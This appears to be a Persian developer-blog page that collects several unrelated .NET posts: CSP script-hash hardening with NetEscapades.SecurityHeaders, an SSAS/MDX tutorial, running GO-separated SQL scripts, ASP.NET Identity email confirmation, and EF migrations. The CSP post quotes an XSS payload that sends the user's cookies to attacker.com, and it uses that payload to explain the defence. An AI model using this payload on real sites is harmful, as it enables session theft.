مطالب
بهبود امنیت CSP با استفاده از معرفی هش‌های اسکریپت‌های Inline
تابحال مطالب زیادی را در مورد تمیزکردن ورودی‌های کاربران، توسط ابزارهای Anti-XSS مطالعه کرده‌اید:
- «ایجاد یک ActionFilter جهت تمیز کردن اطلاعات ورودی در ASP.NET Core»

هدف تمام آن‌ها این است که اگر اطلاعاتی از کاربر دریافت شد، پس از تمیز شدن، مشکلی با نمایش آن‌ها نداشته باشیم و به محض نمایش یک صفحه، قطعه کد جاوااسکریپتی موجود در ورودی اولیه‌ی کاربر، در پشت صحنه به صورت خودکار اجرا نشود. اما ... هرچقدر هم سعی کنیم، به مواردی خواهیم رسید که ممکن است توسط این «تمیز کننده‌های ورودی» پوشش داده نشوند و دست آخر، قابلیت اجرایی داشته باشند. در این حالت به مفهوم دیگری می‌رسیم به نام Content security policy headers و یا به اختصار CSP که اساسا اجرای هر نوع اسکریپت تزریق شده‌ای را در صفحه، ممنوع می‌کند:
- «افزودن هدرهای Content Security Policy به برنامه‌های ASP.NET» برای مثال زمانیکه تنظیم CSP ابتدایی زیر را داریم:
 Content-Security-Policy: default-src 'self'
یعنی مرورگر فقط در این صفحه، اطلاعاتی را که متعلق به سایت و دومین جاری است، بارگذاری می‌کند. در این حالت دیگر ویدیوهای یوتیوب معرفی شده، فایل‌های CSS و یا جاوااسکریپتی دریافتی از یک CDN دیگر اجرا نمی‌شوند؛ چون بارگذاری نخواهند شد. همچنین دیگر نمی‌توان یک قطعه‌ی اسکریپتی را هم داخل صفحه به صورت inline تعریف و اجرا کرد. یعنی حداقل اسکریپت‌های داخل صفحه‌‌ای Google analytics هم از کار خواهند افتاد. که این رفتار دقیقا مطلوب ما است؛ چون نمی‌خواهیم هیچ نوع اسکریپت واقع در صفحه - خصوصا موارد دریافتی از کاربران (مانند مثال زیر) به‌عنوان ورودی! - اجرا شوند. برای نمونه در مثال زیر که پس از نمایش اطلاعات دریافتی از کاربر، در صفحه اجرا می‌شود، کوکی‌های کاربر جاری را جهت ثبت، در اختیار سایت دیگری قرار می‌دهد:
<script>location.href="http://attacker.com/Cookies/?c="+encodeURIComponent(document.cookie);</script>


سؤال: چگونه توسط CSP، اسکریپت‌های inline خوب را از بد تشخیص دهیم؟

یک روش مواجه شدن با منع اجرای اسکریپت‌های inline، مجاز اعلام کردن تمام آن‌ها با فعالسازی و ذکر تنظیم unsafe-inline است که عملا CSP را بی‌مصرف می‌کند. روش دیگر آن، معرفی هش اسکریپت‌های inline مجاز است. اگر هدرهای CSP را فعال کرده باشیم، مرورگر زمانیکه به قطعه کد اسکریپتی که نمی‌خواهد آن‌را اجرا کند برسد، یک چنین پیام خطایی را در developer tools خود صادر می‌کند:
Refused to execute inline script because it violates the following Content Security Policy directive:
"script-src 'self' 'unsafe-eval'". Either the 'unsafe-inline' keyword,
a hash ('sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='),
or a nonce ('nonce-...') is required to enable inline execution.
همانطور که مشاهده می‌کنید، یک هش از نوع SHA-256 نیز در اینجا ذکر شده‌است. این هش دقیقا مرتبط با قطعه کدی است که خود ما در صفحه قرار داده‌ایم و یک «اسکریپت خوب» به‌شمار می‌رود. روش معرفی آن به هدرهای CSP نیز به صورت زیر است:
Content-Security-Policy: default-src 'self'; script-src 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='
در اینجا به نحو صریحی مشخص می‌کنیم که دقیقا کدام اسکریپت inline، مجاز به اجرا است؛ مابقی موارد به صورت خودکار بلاک خواهند شد. بدیهی است هر تغییری در اسکریپت قرار گرفته شد‌ه‌ی در صفحه، سبب تغییر هش آن خواهد شد و باید مجددا از طریق developer tools مرورگر و پیام خطایی که صادر می‌کند، مقدار این هش را به روز کرد.


معرفی کتابخانه‌ی NetEscapades.AspNetCore.SecurityHeaders‌

جهت سهولت تعریف و اعمال هدرهای CSP در تمام برنامه‌های مبتنی بر ASP.NET Core، منجمله Blazor server و Blazor WASM هاست شده، می‌توان از میان‌افزار NetEscapades.AspNetCore.SecurityHeaders استفاده کرد. برای اینکار ابتدا نیاز است بسته‌ی نیوگت آن‌را معرفی کرد:
<ItemGroup>
   <PackageReference Include="NetEscapades.AspNetCore.SecurityHeaders" Version="0.20.0" />
</ItemGroup>
و سپس به نحو زیر، یکی از امن‌ترین تنظیمات را تدارک دید:
public static class SecurityHeadersBuilder
{
    public static HeaderPolicyCollection GetCsp(bool isDevelopment)
    {
        var policy = new HeaderPolicyCollection()
                     .AddFrameOptionsDeny()
                     .AddXssProtectionBlock()
                     .AddContentTypeOptionsNoSniff()
                     .AddReferrerPolicyStrictOriginWhenCrossOrigin()
                     .AddCrossOriginOpenerPolicy(builder => builder.SameOrigin())
                     .AddCrossOriginResourcePolicy(builder => builder.SameOrigin())
                     .AddCrossOriginEmbedderPolicy(builder => builder.RequireCorp())
                     .AddContentSecurityPolicy(builder =>
                                               {
                                                   builder.AddBaseUri().Self();
                                                   builder.AddDefaultSrc().Self().From("blob:");
                                                   builder.AddObjectSrc().Self().From("blob:");
                                                   builder.AddBlockAllMixedContent();
                                                   builder.AddImgSrc().Self().From("data:").From("blob:").From("https:");
                                                   builder.AddFontSrc().Self();
                                                   builder.AddStyleSrc().Self();
                                                   builder.AddFrameAncestors().None();
                                                   builder.AddConnectSrc().Self();
                                                   builder.AddMediaSrc().Self();

                                                   builder.AddScriptSrc().Self()
                                                          // Specify any additional hashes to permit your required `non-framework` scripts to load.
                                                          .WithHash256("Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=")
                                                          // Specify unsafe-eval to permit the `Blazor WebAssembly Mono runtime` to function.
                                                          .UnsafeEval();

                                                   //TODO: Add api/CspReport/Log action method ...
                                                   // https://www.dntips.ir/post/2706
                                                   builder.AddReportUri().To("/api/CspReport/Log");

                                                   builder.AddUpgradeInsecureRequests();
                                               })
                     .RemoveServerHeader()
                     .AddPermissionsPolicy(builder =>
                                           {
                                               builder.AddAccelerometer().None();
                                               builder.AddAutoplay().None();
                                               builder.AddCamera().None();
                                               builder.AddEncryptedMedia().None();
                                               builder.AddFullscreen().All();
                                               builder.AddGeolocation().None();
                                               builder.AddGyroscope().None();
                                               builder.AddMagnetometer().None();
                                               builder.AddMicrophone().None();
                                               builder.AddMidi().None();
                                               builder.AddPayment().None();
                                               builder.AddPictureInPicture().None();
                                               builder.AddSyncXHR().None();
                                               builder.AddUsb().None();
                                           });

        if (!isDevelopment)
        {
            // maxAge = one year in seconds
            policy.AddStrictTransportSecurityMaxAgeIncludeSubDomains();
        }

        policy.ApplyDocumentHeadersToAllResponses();
        return policy;
    }
}
چند نکته:
- این تنظیمات برای Blazor WASM تهیه شده‌اند. در این حالت ذکر UnsafeEval برای اجرای اسکریپت‌های فر‌یم‌ورک آن (حداقل تا نگارش 7) ضروری است. اگر از ASP.NET Core و یا Blazor Server استفاده می‌کنید، این تنظیم (UnsafeEval) را حذف کنید.
- روش معرفی هش‌ها را هم در صورت نیاز، توسط متد WithHash256 در این مثال مشاهده می‌کنید.

پس از تدارک کلاس تنظیمات فوق، روش استفاده‌ی از آن در فایل Program.cs و توسط میان‌افزار SecurityHeaders، به صورت زیر است:
var app = builder.Build();

// ...

var headerPolicyCollection = SecurityHeadersBuilder.GetCsp(app.Environment.IsDevelopment());
app.UseSecurityHeaders(headerPolicyCollection);

app.UseHttpsRedirection();

// ...
این تنظیم سبب می‌شود تا هدرهای زیر به صورت خودکار تولید و به هر Response ای اضافه شوند:
Content-Security-Policy:base-uri 'self'; default-src 'self' blob:; object-src 'self' blob:; block-all-mixed-content; img-src 'self' data: blob: https:; font-src 'self'; style-src 'self'; frame-ancestors 'none'; connect-src 'self'; media-src 'self'; script-src 'self' 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=' 'unsafe-eval'; report-uri /api/CspReport/Log; upgrade-insecure-requests
Cross-Origin-Embedder-Policy:require-corp
Cross-Origin-Opener-Policy:same-origin
Cross-Origin-Resource-Policy:same-origin
Permissions-Policy:accelerometer=(), autoplay=(), camera=(), encrypted-media=(), fullscreen=*, geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), sync-xhr=(), usb=()
Referrer-Policy:strict-origin-when-cross-origin
X-Content-Type-Options:nosniff
X-Frame-Options:DENY
X-Xss-Protection:1; mode=block
مطالب
آموزش MDX Query - قسمت چهارم –آشنایی با AdventureWorksDW2008R2 و آشنایی با محیط BIMS

در این قسمت تلاش می‌کنم در خصوص محیط BIMS (Business Intelligence Management Studio)  و همچنین AdventureWorksDW2008R2 توضیحاتی را ارائه کنم. در ابتدا در خصوص طراحی انجام شده در Data Warehouse  مربوط به پایگاه داده‌ی Adventure Works 2008 توضیحاتی ارایه می‌گردد.

شاید بهترین کار در خصوص آشنایی با یک پایگاه داده نگاه کردن به دیاگرام کلی آن پایگاه داده باشد. بنابر این در ابتدا می‌بایست یک دیاگرام از پایگاه داده‌ی AdventureWorksDW2008R2 بسازیم (این کار را در SQL Server Management Studio انجام می‌دهیم) . قبل از ساخت دیاگرام می‌بایست کاربر Sa را به عنوان Owner پایگاه داده معرفی کنیم.

برای این منظور ابتدا Properties پایگاه داده‌ی AdventureWorksDW2008R2  را گرفته و به قسمت Files رفته و با انتخاب دکمه‌ی ... در مقابل Owner و جستجوی کاربر Sa ، اقدام به مشخص کردن مالک پایگاه داده می‌کنیم. و سپس دکمه‌ی Ok را می‌زنیم.  

مطابق شکل زیر 


سپس یک دیاگرام کلی از پایگاه داده تولید می‌کنیم. مانند شکل زیر 


با یک نگاه اجمالی مشخص می‌گردد که نام تمامی جداول پایگاه داده‌ی DW یا با کلمه‌ی Dim یا با کلمه‌ی Fact شروع شده‌اند. 

همان طور که در مقاله‌ی شماره‌ی یک نیز عنوان شد، چندین روش طراحی DW وجود دارد :

1. ستاره ای

2. دانه برفی

3. کهکشانی

دقت داشته باشید که جداول Fact دارای فیلد‌های عددی نیز می‌باشد که توسط مراحل ETL پر شده‌اند و جداول Dimension دارای ابعادی هستند که به شاخص‌های موجود در یک جدول Fact معنا می‌دهند. به عبارت دیگر شاخص میزان فروش اینترنتی، یک Measure می‌باشد. اما با ارایه دو دایمنشن، به یک واکشی، عملا ما یک Measure داریم که بر اساس آن دو بعد، ماهیت پیدا کرده است. به عنوان مثال میزان فروش اینترنتی بر اساس سال و ماه و روز و براساس کشور خریدار مشخص می‌شود.

یکی از روش‌های تهیه‌ی DW این می‌باشد که کاربران خبره در هر سیستم، مشخص نمایند چه گزارشاتی مورد نظر آنها می‌باشد. سپس توسط تیم پشتیبانی آن سیستم‌ها، جداول Fact,Dimension  مورد نیاز برای حصول گزارش مربوطه تهیه گردد.

شاید ذکر این نکته جالب باشد که برای توسعه‌ی یک پایگاه داده‌ی Multidimensional توسط Solution ‌های ماکروسافت نیازی به آشنایی با یک محیط کار ( IDE ) جدید نمی‌باشد. همان طور هم که در مقاله‌ی قبلی اشاره شد، برای Deploy کردن یک پایگاه داده‌ی چند بعدی ( Multidimensional ) از خود محیط   Visual Studio .Net استفاده می‌شود. بنابر این آن دسته از برنامه نویسانی که با این محیط آشنا می‌باشند به راحتی می‌توانند به توسعه‌ی پایگاه داده‌ی چند بعدی بپردازند.

لازم به ذکر می‌باشد که اساسا هدف من از شروع این سری مقالات ، آموزش MDX Query ‌ها می‌باشد و نه آموزش BIMS ، با این وجود در این قسمت و در قسمت بعدی، توضیحات مقدماتی کار با BIMS ارایه می‌گردد و همچنین در فرصت مناسب در خصوص BIMS یک مجموعه مقاله‌ی جامع ارایه خواهم کرد.

در ابتدا اجزا BIMS را برای شما توضیح می‌دهم و سپس در خصوص ساخت هر کدام از آنها و ترتیب ساخت آنها توضیحاتی ارایه خواهم داد.

مسیر باز کردن برنامه‌ی  SQL Server Business Intelligence Development Studio = BIDS در زیر آمده است:

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft SQL Server 2012\ SQL Server Data Tools

دقت داشته باشید که در صورت استفاده از نسخه‌ی Sql Server 2008 می‌بایست مسیر زیر را جستجو نمایید:

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft SQL Server 2008 R2

با نگاه کردن به محیط BIMS  می توانید پنجره‌ی Solution Explorer  را مشاهده کنید .(در صورت عدم مشاهده، می‌توانید این پنجره را از منوی View باز کنید)



در پنجره‌ی Solution Explorer ابتدا نام Solution و در زیر آن، نام پروژه را خواهیم دید (نام پروژه و نام پایگاه داده‌ی چند بعدی، مشابه یکدیگر می‌باشند) و در زیر نام پروژه، موارد زیر را می‌بینیم:

1. Data Source

2. Data Source View

3. Cubes

4. Dimensiones

5. ….

Data Source  : عملا برقرار کننده‌ی پروژه با Data Warehouse می‌باشد. دقت داشته باشید که امکان تهیه یک پایگاه داده‌ی چند بعدی از چندین DW وجود دارد و حتا نوع DW ‌ها می‌تواند متفاوت باشد (به عبارت دیگر ما می‌توانیم چندین DW در RDBMS ‌های متفاوت داشته باشیم و همه‌ی آنها را در یک Multidimensional Database تجمیع کنیم). برای انجام چنین کاری باید چندین Data Source  تعریف کنیم. 


Data Source View : هر Data Source می‌تواند دارای چندین تقسیم بندی با مفاهیم Business ی باشد. برای هر کدام از این دسته بندی‌ها می‌توانیم یک یا چند Data Source View  ایجاد کنیم . به عبارت دیگر ایجاد Data Source View ‌ها سبب خلاصه شدن تعداد جداول Fact , Dimension براساس یک بیزینس خاص می‌باشد و در ادامه راحت‌تر می‌توانیم Cube ‌ها را تولید کنیم. 


نکته: جداول Fact , Dimension در ساختار D ata Warehouse ساخته می‌شوند.

Cubes : محل تعریف Cube ‌ها در این قسمت می‌باشد. در سری آموزش SSAS در خصوص نحوه‌ی ساخت Cube ‌ها شرح کاملی ارایه خواهم کرد. 


Dimensions : با توجه به این که در روال ساخت Cube ما مشخص می‌کنیم چه Dimension هایی داریم، یک سری از Dimension ‌ها به صورت پیش فرض در این قسمت قرار می‌گیرند و البته در صورت تغییر در Data Source View   می‌توانیم یک Dimension را به صورت دستی در این قسمت ایجاد نماییم و سپس آن را به Cube مورد نظر اضافه نماییم. 


دقت داشته باشید که برای ساخت یک پروژه می‌بایست بعد از ساخت Data Warehouse در برنامه‌ی BIMS اقدام به ساخت یک Data Source کنیم و سپس با توجه به Business‌های موجود در سیستم‌های OLTP اقدام به ساخت Data Source View‌های مناسب کرده و در نهایت اقدام به ساخت Cube کنیم. بعد از انجام تنظیمات مختلف در Cube مانند ساخت Hierarchy , KPI و ... نیاز می‌باشد که پروژه را Deploy کنیم تا پایگاه داده‌ی چند بعدی (MDB) ساخته شود. 

در قسمت بعدی نحوه‌ی ساخت یک پروژه در SSAS و چگونگی باز کردن یک پایگاه داده را بررسی خواهیم کرد. 

مطالب
اجرای یک Script حاوی دستورات Go در سی شارپ
سلام ؛

سال نو مبارک ! امیدوارم سال بسیار خوبی در پیش داشته باشید :)

از زمانی که استفاده از ORM‌های Code First رایج شده ، اجرای اسکریپت‌های طولانی جهت ایجاد دیتابیس خیلی استفاده ندارد، اما حالت خاص همیشه پیش می‌آید.
مثلا قصد داریم پیش از آغاز برنامه پس از ایجاد دیتابیس توسط Entity Framework به یک سری جداول فیلدی با نوع داده‌ی Geometry اضافه کنیم. یا باید به دیتابیس یک سری Stored Procedure و View اضافه کرد.
Script‌ها ی Generate شده توسط SQL Server حاوی دستور Go هستند. ADO.NET اجرای Script که حاوی Go باشد را پشتیبانی نمی‌کند.
اما روش‌ها و ترفند‌های زیادی برای اجرای یک فایل Script طولانی حاوی دستور Go روی دیتابیس وجود دارد :
        private static string GetScript()
        {
            string path = AppDomain.CurrentDomain.BaseDirectory +
                          @"Scripts\script.sql";
            var file = new FileInfo(path);

            string script = file.OpenText().ReadToEnd();
            return script;
        }

        private static void ExecuteScript()
        {
            string script = GetScript();

            //split the script on "GO" commands
            var splitter = new[] {"\r\nGO\r\n"};
            string[] commandTexts = script.Split(splitter,
                                                 StringSplitOptions.RemoveEmptyEntries);
            foreach (string commandText in commandTexts)
            {
                using (var ctx = new DbContext())
                {
                    if (!string.IsNullOrEmpty(commandText))
                    {
                        ctx.Database.ExecuteSqlCommand(commandText);
                    }
                }
            }
        }

در اینجا به جای آنکه تلاش کنیم یک فایل را روی دیتابیس یک جا اجرا کنیم دستورات را جدا کرده و تک به تک اجرا می‌کنیم. 
بروزرسانی:
اشتراک‌ها
افزونه‌ی SQL Code Guard

SQL Code Guard is a free solution for SQL Server that provides fast and comprehensive static analysis for T-Sql code, shows code complexity and objects dependencies.

افزونه‌ی SQL Code Guard
مطالب
افزودن تصدیق ایمیل به ASP.NET Identity در MVC 5
در پست قبلی نحوه سفارشی کردن پروفایل کاربران در ASP.NET Identity را مرور کردیم. اگر بیاد داشته باشید یک فیلد آدرس ایمیل به کلاس کاربر اضافه کردیم. در این پست از این فیلد استفاده میکنیم تا در پروسه ثبت نام ایمیل‌ها را تصدیق کنیم. بدین منظور پس از ثبت نام کاربران یک ایمیل فعالسازی برای آنها ارسال می‌کنیم که حاوی یک لینک است. کاربران با کلیک کردن روی این لینک پروسه ثبت نام خود را تایید می‌کنند و می‌توانند به سایت وارد شوند. پیش از تایید پروسه ثبت نام، کاربران قادر به ورود نیستند.


در ابتدا باید اطلاعات کلاس کاربر را تغییر دهید تا دو فیلد جدید را در بر گیرد. یک فیلد شناسه تایید (confirmation token) را ذخیره می‌کند، و دیگری فیلدی منطقی است که مشخص می‌کند پروسه ثبت نام تایید شده است یا خیر. پس کلاس ApplicationUser  حالا باید بدین شکل باشد.
public class ApplicationUser : IdentityUser
{
    public string Email { get; set; }
    public string ConfirmationToken { get; set; }
    public bool IsConfirmed { get; set; }
}
اگر پیش از این کلاس ApplicationUser را تغییر داده اید، باید مهاجرت‌ها را فعال کنید و دیتابیس را بروز رسانی کنید. حالا می‌توانیم از این اطلاعات جدید در پروسه ثبت نام  استفاده کنیم و برای کاربران ایمیل‌های تاییدیه را بفرستیم.
private string CreateConfirmationToken()
{
    return ShortGuid.NewGuid();
}
 
private void SendEmailConfirmation(string to, string username, string confirmationToken)
{
    dynamic email = new Email("RegEmail");
    email.To = to;
    email.UserName = username;
    email.ConfirmationToken = confirmationToken;
    email.Send();
}
 
//
// POST: /Account/Register
[HttpPost]
[AllowAnonymous]
[ValidateAntiForgeryToken]
public async Task<ActionResult> Register(RegisterViewModel model)
{
    if (ModelState.IsValid)
    {
        string confirmationToken = CreateConfirmationToken();
        var user = new ApplicationUser()
        {
            UserName = model.UserName,
            Email = model.Email,
            ConfirmationToken = confirmationToken, 
                IsConfirmed = false };
        var result = await UserManager.CreateAsync(user, model.Password);
        if (result.Succeeded)
        {
            SendEmailConfirmation(model.Email, model.UserName, confirmationToken);
            return RedirectToAction("RegisterStepTwo", "Account");
        }
        else
        {
            AddErrors(result);
        }
    }
 
    // If we got this far, something failed, redisplay form
    return View(model);
}
برای تولید شناسه‌های تایید (tokens) از کلاسی بنام ShortGuid استفاده شده است. این کلاس یک مقدار GUID را encode می‌کند که در نتیجه آن مقدار خروجی کوتاه‌تر بوده و برای استفاده در URL‌ها ایمن است. کد این کلاس را از این وبلاگ گرفته ام. پس از ایجاد حساب کاربری باید شناسه تولید شده را به آن اضافه کنیم و مقدار فیلد IsConfirmed را به false تنظیم کنیم. برای تولید ایمیل‌ها من از Postal استفاده می‌کنم. Postal برای ساختن ایمیل‌های دینامیک شما از موتور Razor استفاده می‌کند. می‌توانید ایمیل‌های ساده (plain text) یا HTML بسازید، عکس و فایل در آن درج و ضمیمه کنید و امکانات بسیار خوب دیگر. اکشن متد RegisterStepTwo تنها کاربر را به یک View هدایت می‌کند که پیامی به او نشان داده می‌شود.
بعد از اینکه کاربر ایمیل را دریافت کرد و روی لینک تایید کلیک کرد به اکشن متد RegisterConfirmation باز می‌گردیم.
private bool ConfirmAccount(string confirmationToken)
{
    ApplicationDbContext context = new ApplicationDbContext();
    ApplicationUser user =  context.Users.SingleOrDefault(u => u.ConfirmationToken == confirmationToken);
    if (user != null)
    {
        user.IsConfirmed = true;
        DbSet<ApplicationUser> dbSet = context.Set<ApplicationUser>();
        dbSet.Attach(user);
        context.Entry(user).State = EntityState.Modified;
        context.SaveChanges();
 
        return true;
    }
    return false;
}
 
[AllowAnonymous]
public ActionResult RegisterConfirmation(string Id)
{
    if (ConfirmAccount(Id))
    {
        return RedirectToAction("ConfirmationSuccess");
    }
    return RedirectToAction("ConfirmationFailure");
}
متد ConfirmAccount سعی می‌کند کاربری را در دیتابیس پیدا کند که شناسه تاییدش با مقدار دریافت شده از URL برابر است. اگر این کاربر پیدا شود، مقدار خاصیت IsConfirmed را به true تغییر می‌دهیم و همین مقدار را به تابع باز می‌گردانیم. در غیر اینصورت false بر می‌گردانیم. اگر کاربر تایید شده است، می‌تواند به سایت وارد شود. برای اینکه مطمئن شویم کاربران پیش از تایید ایمیل شان نمی‌توانند وارد سایت شوند، باید اکشن متد Login را کمی تغییر دهیم.
[HttpPost]
[AllowAnonymous]
[ValidateAntiForgeryToken]
public async Task<ActionResult> Login(LoginViewModel model, string returnUrl)
{
    if (ModelState.IsValid)
    {
        var user = await UserManager.FindAsync(model.UserName, model.Password);
        if (user != null && user.IsConfirmed)
        {
            await SignInAsync(user, model.RememberMe);
            return RedirectToLocal(returnUrl);
        }
        else
        {
            ModelState.AddModelError("", "Invalid username or password.");
        }
    }
 
    // If we got this far, something failed, redisplay form
    return View(model);
}
تنها کاری که می‌کنیم این است که به دنبال کاربری می‌گردیم که فیلد IsConfirmed آن true باشد. اگر مقدار این فیلد false باشد کاربر را به سایت وارد نمی‌کنیم و پیغام خطایی نمایش می‌دهیم.
همین. این تمام چیزی بود که برای اضافه کردن تصدیق ایمیل به اپلیکیشن خود نیاز دارید. از آنجا که سیستم ASP.NET Identity با Entity Framework مدیریت می‌شود و با مدل Code First ساخته شده، سفارشی کردن اطلاعات کاربران و سیستم عضویت ساده‌تر از همیشه است.



توضیحاتی درباره کار با Postal

اگر به متد SendEmailConfirmation دقت کنید خواهید دید که آبجکتی از نوع Email می‌سازیم (که در اسمبلی‌های Postal وجود دارد) و از آن برای ارسال ایمیل استفاده می‌کنیم. عبارت "RegEmail" نام نمایی است که باید برای ساخت ایمیل استفاده شود. این متغیر از نوع dynamic است، مانند خاصیت ViewBag. بدین معنا که می‌توانید مقادیر مورد نظر خود را بصورت خواص دینامیک روی این آبجکت تعریف کنید. از آنجا که Postal از موتور Razor استفاده می‌کند، بعدا در View ایمیل خود می‌توانید به این مقادیر دسترسی داشته باشید.
در پوشه Views پوشه جدیدی بنام Emails بسازید. سپس یک فایل جدید با نام RegEmail.cshtml در آن ایجاد کنید. کد این فایل را با لیست زیر جایگزین کنید.
To: @ViewBag.To
From: YOURNAME@gmail.com
Subject: Confirm your registration

Hello @ViewBag.UserName,
Please confirm your registration by following the link bellow.

@Html.ActionLink(Url.Action("RegisterConfirmation", "Account", new { id = @ViewBag.ConfirmationToken }), "RegisterConfirmation", "Account", new { id = @ViewBag.ConfirmationToken }, null)
این فایل، قالب ایمیل‌های شما خواهد بود. ایمیل‌ها در حال حاظر بصورت plain text ارسال می‌شوند. برای اطلاعات بیشتر درباره ایمیل‌های HTML و امکانات پیشرفته‌تر به سایت پروژه Postal  مراجعه کنید.

همانطور که مشاهده می‌کنید در این نما همان خاصیت‌های دینامیک تعریف شده را فراخوانی می‌کنیم تا مقادیر لازم را بدست آوریم.

  • ViewBag.To آدرس ایمیل گیرنده را نشان می‌دهد.
  • ViewBag.UserName نام کاربر جاری را نمایش می‌دهد.
  • ViewBag.ConfirmationToken شناسه تولید شده برای تایید کاربر است.
در این قالب لینکی به متد RegisterConfirmation در کنترلر Account وجود دارد که شناسه تایید را نیز با پارامتری بنام id انتقال می‌دهد.

یک فایل ViewStart.cshtml_ هم در این پوشه بسازید و کد آن را با لیست زیر جایگزین کنید.
@{ Layout = null; /* Overrides the Layout set for regular page views. */ }
مطالب
ایجاد و نگهداری Stored Procedure و View با استفاده از Migration
اگر از Entity Framework به روش Code-First استفاده میکنید و بر حسب نیاز، لازم است Stored procedure, View و یا Function ی ایجاد و استفاده نمایید، بهتر است برای ایجاد و نگهداری آنها از Migration‌ها استفاده نمایید. مزیت این روش این است که بر روی سورس کنترل قرار دارد و افراد تیم با گرفتن پروژه و اجرا کردن دستور Update-Database آخرین تغییرات را خواهند داشت.

فرض کنید میخواهید یک Procedure را بر روی دیتابیس ایجاد نمایید که وظیفه‌ی درج یک نویسنده را در جدول Authors، برعهده دارد. برای این منظور SP زیر لازم است نوشته شود:
CREATE PROCEDURE CreateNewAuthor
@name nvarchar(50)
AS
BEGIN
INSERT INTO Authors values(@name)
END
GO

برای ایجاد خودکار این SP میخواهیم از Migration استفاده نماییم. برای این کار ابتدا یک Migration جدید را با دستور زیر ایجاد میکنیم:
Add-Migration StoredProcedureForCreateNewAuthor
اگر مشکلی در بیلد پروژه وجود نداشته باشد، خروجی زیر حاصل می‌شود که یک فایل خالی می‌باشد:
 public partial class StoredProcedureForCreateNewAuthor : Migration
    {
        protected override void Up(MigrationBuilder migrationBuilder)
        {

        }

        protected override void Down(MigrationBuilder migrationBuilder)
        {

        }
    }
در اینجا کاری که باید انجام شود این است که در متد Up که در زمان به روزرسانی دیتابیس اجرا می‌گردد، SP (View یا Function) را ایجاد نماییم. برای اینکار از متد Sql بر روی migrationBuilder، همانند کدهای زیر استفاده می‌کنیم:
protected override void Up(MigrationBuilder migrationBuilder)
        {
            migrationBuilder.Sql(@"CREATE PROCEDURE CreateNewAuthor
                                    @name nvarchar(50)
                                    AS
                                    BEGIN
                                        INSERT INTO Authors values(@name)
                                    END
                                    GO");
        }
با اجرای دستور Update-Database پروسیجر فوق در دیتابیس ایجاد می‌شود.
لازم به ذکر است، اگر با طرز کار Migration‌ها آشنایی داشته باشید، متد down، عکس عملکرد متد Up می‌باشد و وظیفه‌ی حذف تمامی تغییرات مربوط به Migration فعلی را دارد. با این اوصاف، نیاز هست متد Down را به صورت زیر تغییر دهیم:
 protected override void Down(MigrationBuilder migrationBuilder)
        {
            migrationBuilder.Sql("DROP PROCEDURE CreateNewAuthor");
        }

- در این مقاله فقط در مورد Stored Procedure‌ها صحبت شد؛ همین کار را میتوانید برای View‌ها هم انجام دهید.
نظرات مطالب
غیرمعتبر شدن کوکی‌های برنامه‌های ASP.NET Core هاست شده‌ی در IIS پس از ری‌استارت آن
با سلام و احترام
بعد از ارتقاء به ASP.NET Core 2.1 فیلد serviceProvider در متد GetAllElements پس از مراجعه dispose می‌شود و این در حالی است که اگر
services.AddScoped<IXmlRepository, DataProtectionKeyService>()
را به مقدار
services.AddSingleton<IXmlRepository, DataProtectionKeyService>()
تغییر دهیم مشکل رفع می‌شود.
آیا دلیل این موضوع تغییرات مربوط به Program.cs و متد CreateWebHostBuilder می‌باشد؟
با تشکر
نظرات مطالب
EF Code First #12
با سلام و تشکر از مطالب مفید تون

اگر بخواهیم تحت هر شرایطی به کلاس DbContext  دسترسی داشته باشیم به چه شکلی خواهد بود؟
در این حالت اگر بخواهیم یکی از Entity‌ها را ویرایش کنیم به چه صورتی هست؟من هر کاری م کنم با ارور برخورد می‌کنم و فکری غیر از اینکه DbContext را داخل uow بیارم به ذهنم نمی‌رسه!

به چه شکلی می‌شود این مشکل را حل کرد؟

با احترام.

نظرات مطالب
EF Code First #2
بهتر است که model یک view با domain model یکی نباشد. هر view ممکن است در عمل  فقط به تعدادی فیلد محدود نیاز داشته باشد. این‌ها با entityهای تعریف شده یکی نیستند و ضرورتی هم ندارد یکی باشند. حتی ممکن است جهت ارائه یک View تعدادی خاصیت جدید را هم تعریف کنید، اما از حاصل محاسباتی خاص بر روی آن‌ها، یک نتیجه را در بانک اطلاعاتی ثبت کنید.
ضمن اینکه تا این سری 15 قسمتی که به عمد با برنامه کنسول جلو رفته رو تموم نکنید، درک صحیحی از اجزای مختلف آن پیدا نخواهید کرد.
هر زمانی هم خواستید مطلبی را در این سطح آموزش دهید با برنامه‌ی کنسول کار کنید چون هدف در اینجا نحوه نمایش آن با سیلورلایت یا asp.net یا winforms و غیره نیست. هدف آشنایی با زیرساخت‌های اصلی یک فناوری است؛ صرفنظر از نحوه نمایش آن به کاربر.
چگونه باید کلاس‌ها را به بانک اطلاعاتی نگاشت کرد. چگونه باید پس از تغییر کلاس‌ها، بانک اطلاعاتی را با برنامه هماهنگ کرد. چطور باید حالت‌های یک به چند و امثال آن‌را تعریف کرد. چطور باید یک Context را صحیح مدیریت کرد و غیره. هدف این سری، این نوع مباحث پایه‌ای بوده نه فناوری نمایش نهایی آن.

مطالب
استفاده از Dialect سفارشی در NHibernate

Dialects در NHibernate کلاس‌هایی هستند جهت معرفی تعاریف ویژگی‌های خاص بانک‌های اطلاعاتی مختلف؛ مثلا SQL Server 2008 چه ویژگی‌های جدیدی دارد یا SQL Server CE 4.0 که جدیدا ارائه شده، امکان تعریف offset را در کوئری‌های خود میسر کرده (چیزی که قرار است در نگارش بعدی SQL Server اصلی(!) در دسترس باشد) ، اکنون چگونه می‌توان این ویژگی را فعال کرد (باید Dialect آن به روز شود و ... همین). یک سری Dialect از پیش تعریف شده هم برای اکثر بانک‌های اطلاعاتی در NHibernate وجود دارد. ممکن است این Dialects پیش فرض الزاما خواسته شما را برآورده نکنند یا مو به مو مستندات بانک‌ اطلاعاتی مرتبط را پیاده سازی نکرده باشند و سؤال این است که اکنون چه باید کرد؟ آیا باید حتما سورس‌ها را دستکاری و بعد کامپایل کرد؟ به این صورت هر بار با ارائه یک نگارش جدید NHibernate به مشکل برخواهیم خورد چون باید کل عملیات تکرار شود.
